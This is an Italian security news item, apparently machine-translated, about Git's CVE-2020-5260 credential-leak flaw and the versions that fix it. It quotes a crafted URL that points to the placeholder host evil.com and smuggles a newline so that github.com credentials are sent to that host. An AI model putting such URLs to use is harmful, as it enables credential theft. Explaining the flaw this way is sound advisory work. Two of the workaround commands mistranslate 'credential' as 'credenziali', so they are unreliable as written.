Vulnerabilità di perdita di credenziali Git

Pubblicato versioni correttive del sistema di controllo del codice sorgente distribuito Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 e 2.17.4, in che ha eliminato vulnerabilità (CVE-2020-5260) nel gestore "credential.helper", che fa sì che le credenziali vengano inviate all'host sbagliato quando un client git accede a un repository utilizzando un URL appositamente formattato contenente un carattere di nuova riga. La vulnerabilità può essere utilizzata per far sì che le credenziali di un altro host vengano inviate a un server controllato dall'aggressore.

Quando si specifica un URL come "https://evil.com?%0ahost=github.com/", il gestore delle credenziali quando si connette all'host evil.com passerà i parametri di autenticazione specificati per github.com. Il problema si verifica quando si eseguono operazioni come "git clone", inclusa l'elaborazione degli URL per i sottomoduli (ad esempio, "git submodule update" elaborerà automaticamente gli URL specificati nel file .gitmodules dal repository). La vulnerabilità è più pericolosa nelle situazioni in cui uno sviluppatore clona un repository senza vedere l'URL, ad esempio, quando lavora con i sottomoduli o in sistemi che eseguono azioni automatiche, ad esempio negli script di creazione dei pacchetti.

Per bloccare le vulnerabilità nelle nuove versioni proibito passando un carattere di nuova riga in qualsiasi valore trasmesso tramite il protocollo di scambio di credenziali. Per le distribuzioni, puoi tenere traccia del rilascio degli aggiornamenti dei pacchetti nelle pagine Debian, Ubuntu, RHEL, SUSE / openSUSE, Fedora, Arco, FreeBSD.

Come soluzione alternativa per bloccare il problema raccomandato Non utilizzare credential.helper quando si accede ai repository pubblici e non utilizzare "git clone" in modalità "--recurse-submodules" con repository non controllati. Per disabilitare completamente il gestore credential.helper, cosa che fa conservazione e recuperare le password da cache, protetto repository o un file con password, puoi usare i comandi:

git config --unset credenziali.helper
git config --global --unset credential.helper
git config --system --unset credenziali.helper

Fonte: opennet.ru

Aggiungi un commento